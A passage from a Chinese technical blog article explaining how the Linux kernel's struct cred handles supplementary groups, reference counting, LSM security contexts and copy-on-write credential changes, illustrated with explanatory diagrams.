Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">initgroups()</span></code><span leaf=""> 一次性加载，钉到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 上，之后 fork 出的子进程全部继承。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这意味着：如果管理员在用户登录后把用户从 docker 组移除，现有会话的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred-&gt;group_info</span></code><span leaf=""> 不会变化，一般要到新会话建立后才会生效。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">一句话总结</span></span></h4><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">gid/egid/sgid/fsgid</span></code><span leaf=""> 存储主组（一个数字），</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">group_info</span></code><span leaf=""> 存储补充组（一个已排序数组）。权限检查时两者都会被查，缺一不可。补充组在登录时一次性加载，不会在每次权限判定时回查组数据库。</span></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">4. usage（引用计数）</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage</span></code><span leaf=""> 是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">atomic_long_t</span></code><span leaf=""> 类型，记录有多少个指针正在引用这个 cred 对象。它回答的问题是：</span><strong style="font-weight: bold;color: black;"><span leaf="">这个 cred 对象现在被几个 task_struct 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">real_cred</span></code><span leaf=""> / </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 指针指着？没有人指了就可以释放。</span></strong></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">基本规则</span></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">task_struct</span></code><span leaf=""> 中有两个 cred 指针（</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">real_cred</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf="">），每多一个指针指向某个 cred 对象，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage</span></code><span leaf=""> 就 +1；少一个指针指向它，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage</span></code><span leaf=""> 就 -1。当 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage</span></code><span leaf=""> 降到 0 时，这个 cred 对象被释放回 slab 分配器。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">场景一：普通进程（fork）</span></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">bash (cred_A, usage=2)</span><br/><span leaf="">  ↑ real_cred 持有 1 份引用</span><br/><span leaf="">  ↑ cred      持有 1 份引用</span><br/><span leaf="">  所以 usage = 2</span><br/><span leaf="">fork() 创建子进程 → prepare_creds()</span><br/><span leaf="">  从 slab 分配全新的 cred_B，memcpy 拷贝 cred_A 的内容</span><br/><span leaf="">  cred_B 是独立对象，usage = 2（子进程的 real_cred 和 cred 各持一份）</span><br/><span leaf="">  cred_A 的 usage 不变，仍然是 2</span><br/><span leaf="">结果：</span><br/><span leaf="">  bash     → cred_A (usage=2)</span><br/><span leaf="">  子进程   → cred_B (usage=2)  ← 独立副本，互不影响</span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">场景二：线程（CLONE_THREAD，共享 cred）</span></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">主线程 (cred_A, usage=2)</span><br/><span leaf="">  ↑ real_cred 持有 1 份</span><br/><span leaf="">  ↑ cred      持有 1 份</span><br/><span leaf="">clone(CLONE_THREAD) → copy_creds()</span><br/><span leaf="">  不创建新 cred 对象！</span><br/><span leaf="">  get_cred_many(cred_A, 2)  → usage += 2（新线程的 real_cred 和 cred 也指向 cred_A）</span><br/><span leaf="">结果：</span><br/><span leaf="">  主线程 → cred_A (usage=4)  ← 同一个对象</span><br/><span leaf="">  新线程 → cred_A (usage=4)  ← real_cred +1, cred +1，共增加 2</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">50 个线程共享同一个 cred 对象时，</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage = 2 × 50 = 100</span></code><span leaf="">。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">场景三：修改 cred（COW 机制）</span></span></h4><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">三个线程共享 cred_A (usage=6)：</span><br/><span leaf="">  线程1 → cred_A</span><br/><span leaf="">  线程2 → cred_A</span><br/><span leaf="">  线程3 → cred_A</span><br/><span leaf="">线程3 调用 setresuid() 修改自己的 cred：</span><br/><span leaf="">  1. prepare_creds()</span><br/><span leaf="">     分配新的 cred_B，memcpy 拷贝 cred_A</span><br/><span leaf="">     cred_B 的 usage = 2（线程3 的 real_cred 和 cred 将各持一份）</span><br/><span leaf="">  2. 修改 cred_B 的字段</span><br/><span leaf="">  3. commit_creds(cred_B)</span><br/><span leaf="">     线程3 的 real_cred 和 cred 从 cred_A 切换到 cred_B</span><br/><span leaf="">     put_cred_many(cred_A, 2)  → cred_A 的 usage 从 6 减到 4</span><br/><span leaf="">结果：</span><br/><span leaf="">  线程1 → cred_A (usage=4)  ← 不受影响</span><br/><span leaf="">  线程2 → cred_A (usage=4)  ← 不受影响</span><br/><span leaf="">  线程3 → cred_B (usage=2)  ← 独立对象，修改只影响自己</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这就是 COW（Copy-On-Write）：要修改时先拷贝一份，改新的那份，旧的留给其他共享者继续用。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage</span></code><span leaf=""> 是这套机制能正常运转的前提——它确保一个 cred 对象不会在使用途中被意外释放。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">一句话总结</span></span></h4><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage</span></code><span leaf=""> 是 cred 对象的生命线：每个指向它的指针算一份引用，引用归零时释放。fork 创建独立副本，线程共享同一个对象，修改时拷贝新对象——这些行为的背后都是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage</span></code><span leaf=""> 在管理谁还在用这个 cred。</span></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">5. security（LSM 安全上下文）</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">Linux 除了传统的文件权限位（owner/group/other）和 capabilities 之外，还有一种更细粒度的安全机制：</span><strong style="font-weight: bold;color: black;"><span leaf="">LSM（Linux Security Modules）</span></strong><span leaf="">。常见的 LSM 实现有 SELinux、AppArmor、Smack 等。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security</span></code><span leaf=""> 字段就是 LSM 模块在 cred 中存储自己安全上下文的地方。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">它不是一个简单的指针</span></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security</span></code><span leaf=""> 声明为 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">void *</span></code><span leaf="">，但它指向的不是一个固定结构体，而是一块</span><strong style="font-weight: bold;color: black;"><span leaf="">按 LSM 模块需求拼接出来的内存区域（blob）</span></strong><span leaf="">。系统上启用了哪些 LSM 模块，这块 blob 里就有哪些模块的数据：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">cred-&gt;security 指向的内存：</span><br/><span leaf="">┌─────────────────────────────┐</span><br/><span leaf="">│ SELinux 的部分               │  ← struct cred_security_struct</span><br/><span leaf="">│   sid = 1001 (当前进程的安全ID) │     (osid/sid/exec_sid/create_sid/...)</span><br/><span leaf="">│   ...                       │</span><br/><span leaf="">├─────────────────────────────┤</span><br/><span leaf="">│ AppArmor 的部分              │  ← struct aa_label *</span><br/><span leaf="">│   label → &#34;unconfined&#34;      │     (指向一个安全标签)</span><br/><span leaf="">│   ...                       │</span><br/><span leaf="">├─────────────────────────────┤</span><br/><span leaf="">│ Smack 的部分（如果启用）      │  ← struct task_smack</span><br/><span leaf="">│   smk_task → &#34;User&#34;         │     (smk_task/smk_forked/smk_transmuted/...)</span><br/><span leaf="">│   ...                       │</span><br/><span leaf="">└─────────────────────────────┘</span><br/><span leaf="">每个模块通过 cred-&gt;security + 自身偏移量 来找到自己的区域</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">不同 LSM 模块存储的内容不同：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">LSM 模块</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">存储的结构体</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">核心内容</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SELinux</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct cred_security_struct</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">SID（Security ID），进程的安全上下文标签</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">AppArmor</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct aa_label *</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">安全标签，表示进程的 confinement 策略</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">Smack</span></p></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">struct task_smack</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">进程标签、fork 标签、转换标签、访问规则</span></p></td></tr></tbody></table><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">它如何参与权限检查</span></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以 SELinux 为例，当进程调用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">open(&#34;/etc/shadow&#34;)</span></code><span leaf=""> 时，内核除了检查传统的文件权限位（&#34;你是不是文件的 owner？你的组有没有权限？&#34;），</span><strong style="font-weight: bold;color: black;"><span leaf="">还会额外检查 LSM 规则</span></strong><span leaf="">：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">进程调用 open(&#34;/etc/shadow&#34;)</span><br/><span leaf="">1. 传统权限检查：文件的 owner/group/other 权限位 + capability</span><br/><span leaf="">   → 通过（假设进程有足够权限）</span><br/><span leaf="">2. LSM 检查（SELinux）：</span><br/><span leaf="">   → 从 cred-&gt;security 读取当前进程的 SID（安全标签）</span><br/><span leaf="">   → 从 inode 自身的 LSM 数据读取文件的安全标签</span><br/><span leaf="">   → 判定：这个进程标签能否访问这个文件标签？</span><br/><span leaf="">   → 允许 or 拒绝</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">关键点：</span><strong style="font-weight: bold;color: black;"><span leaf="">即使传统权限位全部放行，LSM 仍然可以拒绝。</span></strong><span leaf=""> 比如在启用 SELinux 的系统上，即使你是 root、文件权限是 777，SELinux 策略仍然可能因为进程标签和文件标签不匹配而拒绝访问。这就是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security</span></code><span leaf=""> 字段在权限体系中的角色——它在传统权限之上叠加了一层额外的安全控制。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">它随 cred 一起 COW</span></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security</span></code><span leaf=""> 字段和其他字段一样遵循 COW 机制。</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">prepare_creds()</span></code><span leaf=""> 拷贝 cred 时，LSM 框架会调 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security_prepare_creds()</span></code><span leaf=""> 为新 cred 的 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security</span></code><span leaf=""> 分配独立的 blob 并拷贝内容。修改时只影响新 cred，不影响共享旧 cred 的其他线程。</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span><span leaf="">一句话总结</span></span></h4><blockquote style="display: block;font-size: 0.9em;overflow: auto;overflow-scrolling: touch;border-left: 3px solid rgba(0, 0, 0, 0.4);color: #6a737d;padding-top: 10px;padding-bottom: 10px;padding-left: 20px;padding-right: 10px;margin-bottom: 20px;margin-top: 20px;border-left-color: rgb(239, 112, 96);background: #fff9f9;"><p style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0px;color: black;line-height: 26px;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">security</span></code><span leaf=""> 是 LSM 模块存储安全上下文的地方，它在传统的文件权限之上叠加了一层额外的安全控制——即使文件权限位允许访问，LSM 仍然可以基于 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred-&gt;security</span></code><span leaf=""> 中的标签拒绝它。</span></p></blockquote><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">6. COW——修改 cred 时拷贝新对象</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">前面在介绍 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">usage</span></code><span leaf=""> 时已经通过场景展示了 COW 的效果，这里从机制层面做一个总结。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">内核绝不原地修改 cred 的字段值（uid、gid 等），而是拷贝一份再改。核心函数只有四个：</span></p><table style="display: table;text-align: left;"><thead><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">函数</span></p></th><th style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;font-weight: bold;background-color: #f0f0f0;"><p><span leaf="">作用</span></p></th></tr></thead><tbody><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">get_cred(cred)</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">refcount++，有人要持有它</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">put_cred(cred)</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">refcount--，refcount==0 时释放</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: white;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">prepare_creds()</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">从 slab 分配新 cred，拷贝当前 cred 的内容</span></p></td></tr><tr style="border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;"><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><code><span leaf="">commit_creds(new)</span></code></td><td style="font-size: 16px;border: 1px solid #ccc;padding: 5px 10px;text-align: left;"><p><span leaf="">将 task_struct 的 cred 指针替换为新 cred</span></p></td></tr></tbody></table><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以一个多线程进程中某个线程提权为例：</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">提权前，三个线程共享 cred_A：</span><br/><span leaf="">  主线程(TID=1000)  → cred_A (uid=1000, euid=1000)</span><br/><span leaf="">  工作线程1(TID=1001) → cred_A            ← 共享同一个</span><br/><span leaf="">  工作线程2(TID=1002) → cred_A            ← 共享同一个</span><br/><span leaf="">某线程调用 setresuid() 提权时：</span><br/><span leaf="">  1. prepare_creds() → 新分配 cred_B，memcpy 拷贝 cred_A 的内容</span><br/><span leaf="">  2. 修改 cred_B：</span><br/><span leaf="">     cred_B-&gt;euid = 0;</span><br/><span leaf="">     cred_B-&gt;fsuid = 0;</span><br/><span leaf="">  3. commit_creds(cred_B)：</span><br/><span leaf="">     该线程的 task_struct 的 real_cred 和 cred 指针替换为 cred_B</span><br/><span leaf="">     put_cred_many(cred_A, 2) → 释放该线程对旧 cred 的引用</span><br/><span leaf="">此时内存中的状态：</span><br/><span leaf="">  主线程(TID=1000)  → cred_A (uid=1000, euid=1000) ← 不受影响</span><br/><span leaf="">  工作线程1(TID=1001) → cred_A                        ← 不受影响</span><br/><span leaf="">  提权线程(TID=1002)  → cred_B (uid=1000, euid=0)     ← 独立对象</span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">线程之间共享 cred 是常态。一个多线程进程创建了 50 个工作线程，内核内存中只有一个 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">cred</span></code><span leaf=""> 对象被 50 个线程同时引用。而常规 fork 创建的子进程每次都会获得独立的 cred 副本。</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">一句话总结：</span></strong><span leaf=""> cred 的修改永远遵循 prepare → modify → commit 三步模式，不会原地修改字段值。这保证了多线程共享 cred 时，一个线程的权限变化不会影响其他线程。</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 20px;"><span><span leaf="">7. 小结</span></span></h3><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 